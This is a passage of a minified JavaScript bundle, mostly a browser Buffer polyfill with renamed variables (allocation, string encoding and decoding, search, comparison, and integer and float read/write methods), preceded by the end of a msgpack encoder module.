  437. L.bufferish && (this.bufferish = L.bufferish);
  438. }
  439. }
  440. d(14).FlexEncoder.mixin(T.prototype), T.prototype.codec = J, T.prototype.write = function (c) {
  441. this.codec.encode(this, c);
  442. };
  443. }, function (y, V, d) {
  444. "use strict";
  445. (function (J) {
  446. var G = d(26), q = d(4), N = d(27);
  447. function X() {
  448. return K.TYPED_ARRAY_SUPPORT ? 2147483647 : 1073741823;
  449. }
  450. function Z(yz, yO) {
  451. if (X() < yO) throw new RangeError("Invalid typed array length");
  452. return K.TYPED_ARRAY_SUPPORT ? (yz = new Uint8Array(yO)).__proto__ = K.prototype : (null === yz && (yz = new K(yO)), yz.length = yO), yz;
  453. }
  454. function K(yz, yO, yE) {
  455. if (!(K.TYPED_ARRAY_SUPPORT || this instanceof K)) return new K(yz, yO, yE);
  456. if ("number" == typeof yz) {
  457. if ("string" == typeof yO) throw new Error("If encoding is specified then the first argument must be a string");
  458. return W(this, yz);
  459. }
  460. return Y(this, yz, yO, yE);
  461. }
  462. function Y(yz, yO, yE, yI) {
  463. if ("number" == typeof yO) throw new TypeError('"value" argument must not be a number');
  464. return "undefined" != typeof ArrayBuffer && yO instanceof ArrayBuffer ? function (yM, yt, yK, yr) {
  465. if (yt.byteLength, yK < 0 || yt.byteLength < yK) throw new RangeError("'offset' is out of bounds");
  466. if (yt.byteLength < yK + (yr || 0)) throw new RangeError("'length' is out of bounds");
  467. return yt = void 0 === yK && void 0 === yr ? new Uint8Array(yt) : void 0 === yr ? new Uint8Array(yt, yK) : new Uint8Array(yt, yK, yr), K.TYPED_ARRAY_SUPPORT ? (yM = yt).__proto__ = K.prototype : yM = y0(yM, yt), yM;
  468. }(yz, yO, yE, yI) : "string" == typeof yO ? function (yM, yt, yK) {
  469. if ("string" == typeof yK && "" !== yK || (yK = "utf8"), !K.isEncoding(yK)) throw new TypeError('"encoding" must be a valid string encoding');
  470. var yr = 0 | y2(yt, yK), yw = (yM = Z(yM, yr)).write(yt, yK);
  471. return yw !== yr && (yM = yM.slice(0, yw)), yM;
  472. }(yz, yO, yE) : function (yM, yt) {
  473. if (K.isBuffer(yt)) {
  474. var yK = 0 | y1(yt.length);
  475. return 0 === (yM = Z(yM, yK)).length || yt.copy(yM, 0, 0, yK), yM;
  476. }
  477. if (yt) {
  478. if ("undefined" != typeof ArrayBuffer && yt.buffer instanceof ArrayBuffer || "length" in yt) return "number" != typeof yt.length || function (yr) {
  479. return yr != yr;
  480. }(yt.length) ? Z(yM, 0) : y0(yM, yt);
  481. if ("Buffer" === yt.type && N(yt.data)) return y0(yM, yt.data);
  482. }
  483. throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.");
  484. }(yz, yO);
  485. }
  486. function Q(yz) {
  487. if ("number" != typeof yz) throw new TypeError('"size" argument must be a number');
  488. if (yz < 0) throw new RangeError('"size" argument must not be negative');
  489. }
  490. function W(yz, yO) {
  491. if (Q(yO), yz = Z(yz, yO < 0 ? 0 : 0 | y1(yO)), !K.TYPED_ARRAY_SUPPORT) for (var yE = 0; yE < yO; ++yE) yz[yE] = 0;
  492. return yz;
  493. }
  494. function y0(yz, yO) {
  495. var yE = yO.length < 0 ? 0 : 0 | y1(yO.length);
  496. yz = Z(yz, yE);
  497. for (var yI = 0; yI < yE; yI += 1) yz[yI] = 255 & yO[yI];
  498. return yz;
  499. }
  500. function y1(yz) {
  501. if (yz >= X()) throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x" + X().toString(16) + " bytes");
  502. return 0 | yz;
  503. }
  504. function y2(yz, yO) {
  505. if (K.isBuffer(yz)) return yz.length;
  506. if ("undefined" != typeof ArrayBuffer && "function" == typeof ArrayBuffer.isView && (ArrayBuffer.isView(yz) || yz instanceof ArrayBuffer)) return yz.byteLength;
  507. "string" != typeof yz && (yz = "" + yz);
  508. var yE = yz.length;
  509. if (0 === yE) return 0;
  510. for (var yI = !1;;) switch (yO) {
  511. case "ascii":
  512. case "latin1":
  513. case "binary":
  514. return yE;
  515. case "utf8":
  516. case "utf-8":
  517. case void 0:
  518. return yX(yz).length;
  519. case "ucs2":
  520. case "ucs-2":
  521. case "utf16le":
  522. case "utf-16le":
  523. return 2 * yE;
  524. case "hex":
  525. return yE >>> 1;
  526. case "base64":
  527. return yF(yz).length;
  528. default:
  529. if (yI) return yX(yz).length;
  530. yO = ("" + yO).toLowerCase(), yI = !0;
  531. }
  532. }
  533. function y3(yz, yO, yE) {
  534. var yI = yz[yO];
  535. yz[yO] = yz[yE], yz[yE] = yI;
  536. }
  537. function y4(yz, yO, yE, yI, yM) {
  538. if (0 === yz.length) return -1;
  539. if ("string" == typeof yE ? (yI = yE, yE = 0) : yE > 2147483647 ? yE = 2147483647 : yE < -2147483648 && (yE = -2147483648), yE = +yE, isNaN(yE) && (yE = yM ? 0 : yz.length - 1), yE < 0 && (yE = yz.length + yE), yE >= yz.length) {
  540. if (yM) return -1;
  541. yE = yz.length - 1;
  542. } else if (yE < 0) {
  543. if (!yM) return -1;
  544. yE = 0;
  545. }
  546. if ("string" == typeof yO && (yO = K.from(yO, yI)), K.isBuffer(yO)) return 0 === yO.length ? -1 : y5(yz, yO, yE, yI, yM);
  547. if ("number" == typeof yO) return yO &= 255, K.TYPED_ARRAY_SUPPORT && "function" == typeof Uint8Array.prototype.indexOf ? yM ? Uint8Array.prototype.indexOf.call(yz, yO, yE) : Uint8Array.prototype.lastIndexOf.call(yz, yO, yE) : y5(yz, [yO], yE, yI, yM);
  548. throw new TypeError("val must be string, number or Buffer");
  549. }
  550. function y5(yz, yO, yE, yI, yM) {
  551. var yt, yK = 1, yr = yz.length, yw = yO.length;
  552. if (void 0 !== yI && ("ucs2" === (yI = String(yI).toLowerCase()) || "ucs-2" === yI || "utf16le" === yI || "utf-16le" === yI)) {
  553. if (yz.length < 2 || yO.length < 2) return -1;
  554. yK = 2, yr /= 2, yw /= 2, yE /= 2;
  555. }
  556. function yR(yf, yA) {
  557. return 1 === yK ? yf[yA] : yf.readUInt16BE(yA * yK);
  558. }
  559. if (yM) {
  560. var yv = -1;
  561. for (yt = yE; yt < yr; yt++) if (yR(yz, yt) === yR(yO, -1 === yv ? 0 : yt - yv)) {
  562. if (-1 === yv && (yv = yt), yt - yv + 1 === yw) return yv * yK;
  563. } else -1 !== yv && (yt -= yt - yv), yv = -1;
  564. } else for (yE + yw > yr && (yE = yr - yw), yt = yE; yt >= 0; yt--) {
  565. for (var ye = !0, yS = 0; yS < yw; yS++) if (yR(yz, yt + yS) !== yR(yO, yS)) {
  566. ye = !1;
  567. break;
  568. }
  569. if (ye) return yt;
  570. }
  571. return -1;
  572. }
  573. function y6(yz, yO, yE, yI) {
  574. yE = Number(yE) || 0;
  575. var yM = yz.length - yE;
  576. yI ? (yI = Number(yI)) > yM && (yI = yM) : yI = yM;
  577. var yt = yO.length;
  578. if (yt % 2 != 0) throw new TypeError("Invalid hex string");
  579. yI > yt / 2 && (yI = yt / 2);
  580. for (var yK = 0; yK < yI; ++yK) {
  581. var yr = parseInt(yO.substr(2 * yK, 2), 16);
  582. if (isNaN(yr)) return yK;
  583. yz[yE + yK] = yr;
  584. }
  585. return yK;
  586. }
  587. function y7(yz, yO, yE, yI) {
  588. return yZ(yX(yO, yz.length - yE), yz, yE, yI);
  589. }
  590. function y8(yz, yO, yE, yI) {
  591. return yZ(function (yM) {
  592. for (var yt = [], yK = 0; yK < yM.length; ++yK) yt.push(255 & yM.charCodeAt(yK));
  593. return yt;
  594. }(yO), yz, yE, yI);
  595. }
  596. function y9(yz, yO, yE, yI) {
  597. return y8(yz, yO, yE, yI);
  598. }
  599. function yy(yz, yO, yE, yI) {
  600. return yZ(yF(yO), yz, yE, yI);
  601. }
  602. function yV(yz, yO, yE, yI) {
  603. return yZ(function (yM, yt) {
  604. for (var yK, yr, yw, yR = [], yv = 0; yv < yM.length && !((yt -= 2) < 0); ++yv) yr = (yK = yM.charCodeAt(yv)) >> 8, yw = yK % 256, yR.push(yw), yR.push(yr);
  605. return yR;
  606. }(yO, yz.length - yE), yz, yE, yI);
  607. }
  608. function yd(yz, yO, yE) {
  609. return 0 === yO && yE === yz.length ? G.fromByteArray(yz) : G.fromByteArray(yz.slice(yO, yE));
  610. }
  611. function yJ(yz, yO, yE) {
  612. yE = Math.min(yz.length, yE);
  613. for (var yI = [], yM = yO; yM < yE;) {
  614. var yt, yK, yr, yw, yR = yz[yM], yv = null, ye = yR > 239 ? 4 : yR > 223 ? 3 : yR > 191 ? 2 : 1;
  615. if (yM + ye <= yE) switch (ye) {
  616. case 1:
  617. yR < 128 && (yv = yR);
  618. break;
  619. case 2:
  620. 128 == (192 & (yt = yz[yM + 1])) && (yw = (31 & yR) << 6 | 63 & yt) > 127 && (yv = yw);
  621. break;
  622. case 3:
  623. yt = yz[yM + 1], yK = yz[yM + 2], 128 == (192 & yt) && 128 == (192 & yK) && (yw = (15 & yR) << 12 | (63 & yt) << 6 | 63 & yK) > 2047 && (yw < 55296 || yw > 57343) && (yv = yw);
  624. break;
  625. case 4:
  626. yt = yz[yM + 1], yK = yz[yM + 2], yr = yz[yM + 3], 128 == (192 & yt) && 128 == (192 & yK) && 128 == (192 & yr) && (yw = (15 & yR) << 18 | (63 & yt) << 12 | (63 & yK) << 6 | 63 & yr) > 65535 && yw < 1114112 && (yv = yw);
  627. }
  628. null === yv ? (yv = 65533, ye = 1) : yv > 65535 && (yv -= 65536, yI.push(yv >>> 10 & 1023 | 55296), yv = 56320 | 1023 & yv), yI.push(yv), yM += ye;
  629. }
  630. return function (yS) {
  631. var yf = yS.length;
  632. if (yf <= yT) return String.fromCharCode.apply(String, yS);
  633. for (var yA = "", yY = 0; yY < yf;) yA += String.fromCharCode.apply(String, yS.slice(yY, yY += yT));
  634. return yA;
  635. }(yI);
  636. }
  637. V.Buffer = K, V.SlowBuffer = function (yz) {
  638. return +yz != yz && (yz = 0), K.alloc(+yz);
  639. }, V.INSPECT_MAX_BYTES = 50, K.TYPED_ARRAY_SUPPORT = void 0 !== J.TYPED_ARRAY_SUPPORT ? J.TYPED_ARRAY_SUPPORT : function () {
  640. try {
  641. var yz = new Uint8Array(1);
  642. return yz.__proto__ = {__proto__: Uint8Array.prototype, foo: function () {
  643. return 42;
  644. }}, 42 === yz.foo() && "function" == typeof yz.subarray && 0 === yz.subarray(1, 1).byteLength;
  645. } catch (yO) {
  646. return !1;
  647. }
  648. }(), V.kMaxLength = X(), K.poolSize = 8192, K._augment = function (yz) {
  649. return yz.__proto__ = K.prototype, yz;
  650. }, K.from = function (yz, yO, yE) {
  651. return Y(null, yz, yO, yE);
  652. }, K.TYPED_ARRAY_SUPPORT && (K.prototype.__proto__ = Uint8Array.prototype, K.__proto__ = Uint8Array, "undefined" != typeof Symbol && Symbol.species && K[Symbol.species] === K && Object.defineProperty(K, Symbol.species, {value: null, configurable: !0})), K.alloc = function (yz, yO, yE) {
  653. return function (yI, yM, yt, yK) {
  654. return Q(yM), yM <= 0 ? Z(yI, yM) : void 0 !== yt ? "string" == typeof yK ? Z(yI, yM).fill(yt, yK) : Z(yI, yM).fill(yt) : Z(yI, yM);
  655. }(null, yz, yO, yE);
  656. }, K.allocUnsafe = function (yz) {
  657. return W(null, yz);
  658. }, K.allocUnsafeSlow = function (yz) {
  659. return W(null, yz);
  660. }, K.isBuffer = function (yz) {
  661. return !(null == yz || !yz._isBuffer);
  662. }, K.compare = function (yz, yO) {
  663. if (!K.isBuffer(yz) || !K.isBuffer(yO)) throw new TypeError("Arguments must be Buffers");
  664. if (yz === yO) return 0;
  665. for (var yE = yz.length, yI = yO.length, yM = 0, yt = Math.min(yE, yI); yM < yt; ++yM) if (yz[yM] !== yO[yM]) {
  666. yE = yz[yM], yI = yO[yM];
  667. break;
  668. }
  669. return yE < yI ? -1 : yI < yE ? 1 : 0;
  670. }, K.isEncoding = function (yz) {
  671. switch (String(yz).toLowerCase()) {
  672. case "hex":
  673. case "utf8":
  674. case "utf-8":
  675. case "ascii":
  676. case "latin1":
  677. case "binary":
  678. case "base64":
  679. case "ucs2":
  680. case "ucs-2":
  681. case "utf16le":
  682. case "utf-16le":
  683. return !0;
  684. default:
  685. return !1;
  686. }
  687. }, K.concat = function (yz, yO) {
  688. if (!N(yz)) throw new TypeError('"list" argument must be an Array of Buffers');
  689. if (0 === yz.length) return K.alloc(0);
  690. var yE;
  691. if (void 0 === yO) for (yO = 0, yE = 0; yE < yz.length; ++yE) yO += yz[yE].length;
  692. var yI = K.allocUnsafe(yO), yM = 0;
  693. for (yE = 0; yE < yz.length; ++yE) {
  694. var yt = yz[yE];
  695. if (!K.isBuffer(yt)) throw new TypeError('"list" argument must be an Array of Buffers');
  696. yt.copy(yI, yM), yM += yt.length;
  697. }
  698. return yI;
  699. }, K.byteLength = y2, K.prototype._isBuffer = !0, K.prototype.swap16 = function () {
  700. var yz = this.length;
  701. if (yz % 2 != 0) throw new RangeError("Buffer size must be a multiple of 16-bits");
  702. for (var yO = 0; yO < yz; yO += 2) y3(this, yO, yO + 1);
  703. return this;
  704. }, K.prototype.swap32 = function () {
  705. var yz = this.length;
  706. if (yz % 4 != 0) throw new RangeError("Buffer size must be a multiple of 32-bits");
  707. for (var yO = 0; yO < yz; yO += 4) y3(this, yO, yO + 3), y3(this, yO + 1, yO + 2);
  708. return this;
  709. }, K.prototype.swap64 = function () {
  710. var yz = this.length;
  711. if (yz % 8 != 0) throw new RangeError("Buffer size must be a multiple of 64-bits");
  712. for (var yO = 0; yO < yz; yO += 8) y3(this, yO, yO + 7), y3(this, yO + 1, yO + 6), y3(this, yO + 2, yO + 5), y3(this, yO + 3, yO + 4);
  713. return this;
  714. }, K.prototype.toString = function () {
  715. var yz = 0 | this.length;
  716. return 0 === yz ? "" : 0 === arguments.length ? yJ(this, 0, yz) : function (yO, yE, yI) {
  717. var yM = !1;
  718. if ((void 0 === yE || yE < 0) && (yE = 0), yE > this.length) return "";
  719. if ((void 0 === yI || yI > this.length) && (yI = this.length), yI <= 0) return "";
  720. if ((yI >>>= 0) <= (yE >>>= 0)) return "";
  721. for (yO || (yO = "utf8");;) switch (yO) {
  722. case "hex":
  723. return ys(this, yE, yI);
  724. case "utf8":
  725. case "utf-8":
  726. return yJ(this, yE, yI);
  727. case "ascii":
  728. return yc(this, yE, yI);
  729. case "latin1":
  730. case "binary":
  731. return yL(this, yE, yI);
  732. case "base64":
  733. return yd(this, yE, yI);
  734. case "ucs2":
  735. case "ucs-2":
  736. case "utf16le":
  737. case "utf-16le":
  738. return yp(this, yE, yI);
  739. default:
  740. if (yM) throw new TypeError("Unknown encoding: " + yO);
  741. yO = (yO + "").toLowerCase(), yM = !0;
  742. }
  743. }.apply(this, arguments);
  744. }, K.prototype.equals = function (yz) {
  745. if (!K.isBuffer(yz)) throw new TypeError("Argument must be a Buffer");
  746. return this === yz || 0 === K.compare(this, yz);
  747. }, K.prototype.inspect = function () {
  748. var yz = "", yO = V.INSPECT_MAX_BYTES;
  749. return this.length > 0 && (yz = this.toString("hex", 0, yO).match(/.{2}/g).join(" "), this.length > yO && (yz += " ... ")), "<Buffer " + yz + ">";
  750. }, K.prototype.compare = function (yz, yO, yE, yI, yM) {
  751. if (!K.isBuffer(yz)) throw new TypeError("Argument must be a Buffer");
  752. if (void 0 === yO && (yO = 0), void 0 === yE && (yE = yz ? yz.length : 0), void 0 === yI && (yI = 0), void 0 === yM && (yM = this.length), yO < 0 || yE > yz.length || yI < 0 || yM > this.length) throw new RangeError("out of range index");
  753. if (yI >= yM && yO >= yE) return 0;
  754. if (yI >= yM) return -1;
  755. if (yO >= yE) return 1;
  756. if (this === yz) return 0;
  757. for (var yt = (yM >>>= 0) - (yI >>>= 0), yK = (yE >>>= 0) - (yO >>>= 0), yr = Math.min(yt, yK), yw = this.slice(yI, yM), yR = yz.slice(yO, yE), yv = 0; yv < yr; ++yv) if (yw[yv] !== yR[yv]) {
  758. yt = yw[yv], yK = yR[yv];
  759. break;
  760. }
  761. return yt < yK ? -1 : yK < yt ? 1 : 0;
  762. }, K.prototype.includes = function (yz, yO, yE) {
  763. return -1 !== this.indexOf(yz, yO, yE);
  764. }, K.prototype.indexOf = function (yz, yO, yE) {
  765. return y4(this, yz, yO, yE, !0);
  766. }, K.prototype.lastIndexOf = function (yz, yO, yE) {
  767. return y4(this, yz, yO, yE, !1);
  768. }, K.prototype.write = function (yz, yO, yE, yI) {
  769. if (void 0 === yO) yI = "utf8", yE = this.length, yO = 0; else if (void 0 === yE && "string" == typeof yO) yI = yO, yE = this.length, yO = 0; else {
  770. if (!isFinite(yO)) throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");
  771. yO |= 0, isFinite(yE) ? (yE |= 0, void 0 === yI && (yI = "utf8")) : (yI = yE, yE = void 0);
  772. }
  773. var yM = this.length - yO;
  774. if ((void 0 === yE || yE > yM) && (yE = yM), yz.length > 0 && (yE < 0 || yO < 0) || yO > this.length) throw new RangeError("Attempt to write outside buffer bounds");
  775. yI || (yI = "utf8");
  776. for (var yt = !1;;) switch (yI) {
  777. case "hex":
  778. return y6(this, yz, yO, yE);
  779. case "utf8":
  780. case "utf-8":
  781. return y7(this, yz, yO, yE);
  782. case "ascii":
  783. return y8(this, yz, yO, yE);
  784. case "latin1":
  785. case "binary":
  786. return y9(this, yz, yO, yE);
  787. case "base64":
  788. return yy(this, yz, yO, yE);
  789. case "ucs2":
  790. case "ucs-2":
  791. case "utf16le":
  792. case "utf-16le":
  793. return yV(this, yz, yO, yE);
  794. default:
  795. if (yt) throw new TypeError("Unknown encoding: " + yI);
  796. yI = ("" + yI).toLowerCase(), yt = !0;
  797. }
  798. }, K.prototype.toJSON = function () {
  799. return {type: "Buffer", data: Array.prototype.slice.call(this._arr || this, 0)};
  800. };
  801. var yT = 4096;
  802. function yc(yz, yO, yE) {
  803. var yI = "";
  804. yE = Math.min(yz.length, yE);
  805. for (var yM = yO; yM < yE; ++yM) yI += String.fromCharCode(127 & yz[yM]);
  806. return yI;
  807. }
  808. function yL(yz, yO, yE) {
  809. var yI = "";
  810. yE = Math.min(yz.length, yE);
  811. for (var yM = yO; yM < yE; ++yM) yI += String.fromCharCode(yz[yM]);
  812. return yI;
  813. }
  814. function ys(yz, yO, yE) {
  815. var yI = yz.length;
  816. (!yO || yO < 0) && (yO = 0), (!yE || yE < 0 || yE > yI) && (yE = yI);
  817. for (var yM = "", yt = yO; yt < yE; ++yt) yM += yh(yz[yt]);
  818. return yM;
  819. }
  820. function yp(yz, yO, yE) {
  821. for (var yI = yz.slice(yO, yE), yM = "", yt = 0; yt < yI.length; yt += 2) yM += String.fromCharCode(yI[yt] + 256 * yI[yt + 1]);
  822. return yM;
  823. }
  824. function yU(yz, yO, yE) {
  825. if (yz % 1 != 0 || yz < 0) throw new RangeError("offset is not uint");
  826. if (yz + yO > yE) throw new RangeError("Trying to access beyond buffer length");
  827. }
  828. function yn(yz, yO, yE, yI, yM, yt) {
  829. if (!K.isBuffer(yz)) throw new TypeError('"buffer" argument must be a Buffer instance');
  830. if (yO > yM || yO < yt) throw new RangeError('"value" argument is out of bounds');
  831. if (yE + yI > yz.length) throw new RangeError("Index out of range");
  832. }
  833. function yG(yz, yO, yE, yI) {
  834. yO < 0 && (yO = 65535 + yO + 1);
  835. for (var yM = 0, yt = Math.min(yz.length - yE, 2); yM < yt; ++yM) yz[yE + yM] = (yO & 255 << 8 * (yI ? yM : 1 - yM)) >>> 8 * (yI ? yM : 1 - yM);
  836. }
  837. function yq(yz, yO, yE, yI) {
  838. yO < 0 && (yO = 4294967295 + yO + 1);
  839. for (var yM = 0, yt = Math.min(yz.length - yE, 4); yM < yt; ++yM) yz[yE + yM] = yO >>> 8 * (yI ? yM : 3 - yM) & 255;
  840. }
  841. function yP(yz, yO, yE, yI, yM, yt) {
  842. if (yE + yI > yz.length) throw new RangeError("Index out of range");
  843. if (yE < 0) throw new RangeError("Index out of range");
  844. }
  845. function yg(yz, yO, yE, yI, yM) {
  846. return yM || yP(yz, 0, yE, 4), q.write(yz, yO, yE, yI, 23, 4), yE + 4;
  847. }
  848. function yH(yz, yO, yE, yI, yM) {
  849. return yM || yP(yz, 0, yE, 8), q.write(yz, yO, yE, yI, 52, 8), yE + 8;
  850. }
  851. K.prototype.slice = function (yz, yO) {
  852. var yE, yI = this.length;
  853. if ((yz = ~~yz) < 0 ? (yz += yI) < 0 && (yz = 0) : yz > yI && (yz = yI), (yO = void 0 === yO ? yI : ~~yO) < 0 ? (yO += yI) < 0 && (yO = 0) : yO > yI && (yO = yI), yO < yz && (yO = yz), K.TYPED_ARRAY_SUPPORT) (yE = this.subarray(yz, yO)).__proto__ = K.prototype; else {
  854. var yM = yO - yz;
  855. yE = new K(yM, void 0);
  856. for (var yt = 0; yt < yM; ++yt) yE[yt] = this[yt + yz];
  857. }
  858. return yE;
  859. }, K.prototype.readUIntLE = function (yz, yO, yE) {
  860. yz |= 0, yO |= 0, yE || yU(yz, yO, this.length);
  861. for (var yI = this[yz], yM = 1, yt = 0; ++yt < yO && (yM *= 256);) yI += this[yz + yt] * yM;
  862. return yI;
  863. }, K.prototype.readUIntBE = function (yz, yO, yE) {
  864. yz |= 0, yO |= 0, yE || yU(yz, yO, this.length);
  865. for (var yI = this[yz + --yO], yM = 1; yO > 0 && (yM *= 256);) yI += this[yz + --yO] * yM;
  866. return yI;
  867. }, K.prototype.readUInt8 = function (yz, yO) {
  868. return yO || yU(yz, 1, this.length), this[yz];
  869. }, K.prototype.readUInt16LE = function (yz, yO) {
  870. return yO || yU(yz, 2, this.length), this[yz] | this[yz + 1] << 8;
  871. }, K.prototype.readUInt16BE = function (yz, yO) {
  872. return yO || yU(yz, 2, this.length), this[yz] << 8 | this[yz + 1];
  873. }, K.prototype.readUInt32LE = function (yz, yO) {
  874. return yO || yU(yz, 4, this.length), (this[yz] | this[yz + 1] << 8 | this[yz + 2] << 16) + 16777216 * this[yz + 3];
  875. }, K.prototype.readUInt32BE = function (yz, yO) {
  876. return yO || yU(yz, 4, this.length), 16777216 * this[yz] + (this[yz + 1] << 16 | this[yz + 2] << 8 | this[yz + 3]);
  877. }, K.prototype.readIntLE = function (yz, yO, yE) {
  878. yz |= 0, yO |= 0, yE || yU(yz, yO, this.length);
  879. for (var yI = this[yz], yM = 1, yt = 0; ++yt < yO && (yM *= 256);) yI += this[yz + yt] * yM;
  880. return yI >= (yM *= 128) && (yI -= Math.pow(2, 8 * yO)), yI;
  881. }, K.prototype.readIntBE = function (yz, yO, yE) {
  882. yz |= 0, yO |= 0, yE || yU(yz, yO, this.length);
  883. for (var yI = yO, yM = 1, yt = this[yz + --yI]; yI > 0 && (yM *= 256);) yt += this[yz + --yI] * yM;
  884. return yt >= (yM *= 128) && (yt -= Math.pow(2, 8 * yO)), yt;
  885. }, K.prototype.readInt8 = function (yz, yO) {
  886. return yO || yU(yz, 1, this.length), 128 & this[yz] ? -1 * (255 - this[yz] + 1) : this[yz];
  887. }, K.prototype.readInt16LE = function (yz, yO) {
  888. yO || yU(yz, 2, this.length);
  889. var yE = this[yz] | this[yz + 1] << 8;
  890. return 32768 & yE ? 4294901760 | yE : yE;
  891. }, K.prototype.readInt16BE = function (yz, yO) {
  892. yO || yU(yz, 2, this.length);
  893. var yE = this[yz + 1] | this[yz] << 8;
  894. return 32768 & yE ? 4294901760 | yE : yE;
  895. }, K.prototype.readInt32LE = function (yz, yO) {
  896. return yO || yU(yz, 4, this.length), this[yz] | this[yz + 1] << 8 | this[yz + 2] << 16 | this[yz + 3] << 24;
  897. }, K.prototype.readInt32BE = function (yz, yO) {
  898. return yO || yU(yz, 4, this.length), this[yz] << 24 | this[yz + 1] << 16 | this[yz + 2] << 8 | this[yz + 3];
  899. }, K.prototype.readFloatLE = function (yz, yO) {
  900. return yO || yU(yz, 4, this.length), q.read(this, yz, !0, 23, 4);
  901. }, K.prototype.readFloatBE = function (yz, yO) {
  902. return yO || yU(yz, 4, this.length), q.read(this, yz, !1, 23, 4);
  903. }, K.prototype.readDoubleLE = function (yz, yO) {
  904. return yO || yU(yz, 8, this.length), q.read(this, yz, !0, 52, 8);
  905. }, K.prototype.readDoubleBE = function (yz, yO) {
  906. return yO || yU(yz, 8, this.length), q.read(this, yz, !1, 52, 8);
  907. }, K.prototype.writeUIntLE = function (yz, yO, yE, yI) {
  908. yz = +yz, yO |= 0, yE |= 0, yI || yn(this, yz, yO, yE, Math.pow(2, 8 * yE) - 1, 0);
  909. var yM = 1, yt = 0;
  910. for (this[yO] = 255 & yz; ++yt < yE && (yM *= 256);) this[yO + yt] = yz / yM & 255;
  911. return yO + yE;
  912. }, K.prototype.writeUIntBE = function (yz, yO, yE, yI) {
  913. yz = +yz, yO |= 0, yE |= 0, yI || yn(this, yz, yO, yE, Math.pow(2, 8 * yE) - 1, 0);
  914. var yM = yE - 1, yt = 1;
  915. for (this[yO + yM] = 255 & yz; --yM >= 0 && (yt *= 256);) this[yO + yM] = yz / yt & 255;
  916. return yO + yE;
  917. }, K.prototype.writeUInt8 = function (yz, yO, yE) {
  918. return yz = +yz, yO |= 0, yE || yn(this, yz, yO, 1, 255, 0), K.TYPED_ARRAY_SUPPORT || (yz = Math.floor(yz)), this[yO] = 255 & yz, yO + 1;
  919. }, K.prototype.writeUInt16LE = function (yz, yO, yE) {
  920. return yz = +yz, yO |= 0, yE || yn(this, yz, yO, 2, 65535, 0), K.TYPED_ARRAY_SUPPORT ? (this[yO] = 255 & yz, this[yO + 1] = yz >>> 8) : yG(this, yz, yO, !0), yO + 2;
  921. }, K.prototype.writeUInt16BE = function (yz, yO, yE) {
  922. return yz = +yz, yO |= 0, yE || yn(this, yz, yO, 2, 65535, 0), K.TYPED_ARRAY_SUPPORT ? (this[yO] = yz >>> 8, this[yO + 1] = 255 & yz) : yG(this, yz, yO, !1), yO + 2;
  923. }, K.prototype.writeUInt32LE = function (yz, yO, yE) {
  924. return yz = +yz, yO |= 0, yE || yn(this, yz, yO, 4, 4294967295, 0), K.TYPED_ARRAY_SUPPORT ? (this[yO + 3] = yz >>> 24, this[yO + 2] = yz >>> 16, this[yO + 1] = yz >>> 8, this[yO] = 255 & yz) : yq(this, yz, yO, !0), yO + 4;
  925. }, K.prototype.writeUInt32BE = function (yz, yO, yE) {
  926. return yz = +yz, yO |= 0, yE || yn(this, yz, yO, 4, 4294967295, 0), K.TYPED_ARRAY_SUPPORT ? (this[yO] = yz >>> 24, this[yO + 1] = yz >>> 16, this[yO + 2] = yz >>> 8, this[yO + 3] = 255 & yz) : yq(this, yz, yO, !1), yO + 4;
  927. }, K.prototype.writeIntLE = function (yz, yO, yE, yI) {
  928. if (yz = +yz, yO |= 0, !yI) {
  929. var yM = Math.pow(2, 8 * yE - 1);
  930. yn(this, yz, yO, yE, yM - 1, -yM);
  931. }
  932. var yt = 0, yK = 1, yr = 0;
  933. for (this[yO] = 255 & yz; ++yt < yE && (yK *= 256);) yz < 0 && 0 === yr && 0 !== this[yO + yt - 1] && (yr = 1), this[yO + yt] = (yz / yK >> 0) - yr & 255;
  934. return yO + yE;
  935. }, K.prototype.writeIntBE = function (yz, yO, yE, yI) {
  936. if (yz = +yz, yO |= 0, !yI) {
  937. var yM = Math.pow(2, 8 * yE - 1);
  938. yn(this, yz, yO, yE, yM - 1, -yM);
  939. }
  940. var yt = yE - 1, yK = 1, yr = 0;
  941. for (this[yO + yt] = 255 & yz; --yt >= 0 && (yK *= 256);) yz < 0 && 0 === yr && 0 !== this[yO + yt + 1] && (yr = 1), this[yO + yt] = (yz / yK >> 0) - yr & 255;
  942. return yO + yE;
  943. }, K.prototype.writeInt8 = function (yz, yO, yE) {
  944. return yz = +yz, yO |= 0, yE || yn(this, yz, yO, 1, 127, -128), K.TYPED_ARRAY_SUPPORT || (yz = Math.floor(yz)), yz < 0 && (yz = 255 + yz + 1), this[yO] = 255 & yz, yO + 1;
  945. }, K.prototype.writeInt16LE = function (yz, yO, yE) {
  946. return yz = +yz, yO |= 0, yE || yn(this, yz, yO, 2, 32767, -32768), K.TYPED_ARRAY_SUPPORT ? (this[yO] = 255 & yz, this[yO + 1] = yz >>> 8) : yG(this, yz, yO, !0), yO + 2;
  947. }, K.prototype.writeInt16BE = function (yz, yO, yE) {
  948. return yz = +yz, yO |= 0, yE || yn(this, yz, yO, 2, 32767, -32768), K.TYPED_ARRAY_SUPPORT ? (this[yO] = yz >>> 8, this[yO + 1] = 255 & yz) : yG(this, yz, yO, !1), yO + 2;
  949. }, K.prototype.writeInt32LE = function (yz, yO, yE) {
  950. return yz = +yz, yO |= 0, yE || yn(this, yz, yO, 4, 2147483647, -2147483648), K.TYPED_ARRAY_SUPPORT ? (this[yO] = 255 & yz, this[yO + 1] = yz >>> 8, this[yO + 2] = yz >>> 16, this[yO + 3] = yz >>> 24) : yq(this, yz, yO, !0), yO + 4;
  951. }, K.prototype.writeInt32BE = function (yz, yO, yE) {
  952. return yz = +yz, yO |= 0, yE || yn(this, yz, yO, 4, 2147483647, -2147483648), yz < 0 && (yz = 4294967295 + yz + 1), K.TYPED_ARRAY_SUPPORT ? (this[yO] = yz >>> 24, this[yO + 1] = yz >>> 16, this[yO + 2] = yz >>> 8, this[yO + 3] = 255 & yz) : yq(this, yz, yO, !1), yO + 4;
  953. }, K.prototype.writeFloatLE = function (yz, yO, yE) {
  954. return yg(this, yz, yO, !0, yE);
  955. }, K.prototype.writeFloatBE = function (yz, yO, yE) {
  956. return yg(this, yz, yO, !1, yE);
  957. }, K.prototype.writeDoubleLE = function (yz, yO, yE) {
  958. return yH(this, yz, yO, !0, yE);
  959. }, K.prototype.writeDoubleBE = function (yz, yO, yE) {
  960. return yH(this, yz, yO, !1, yE);
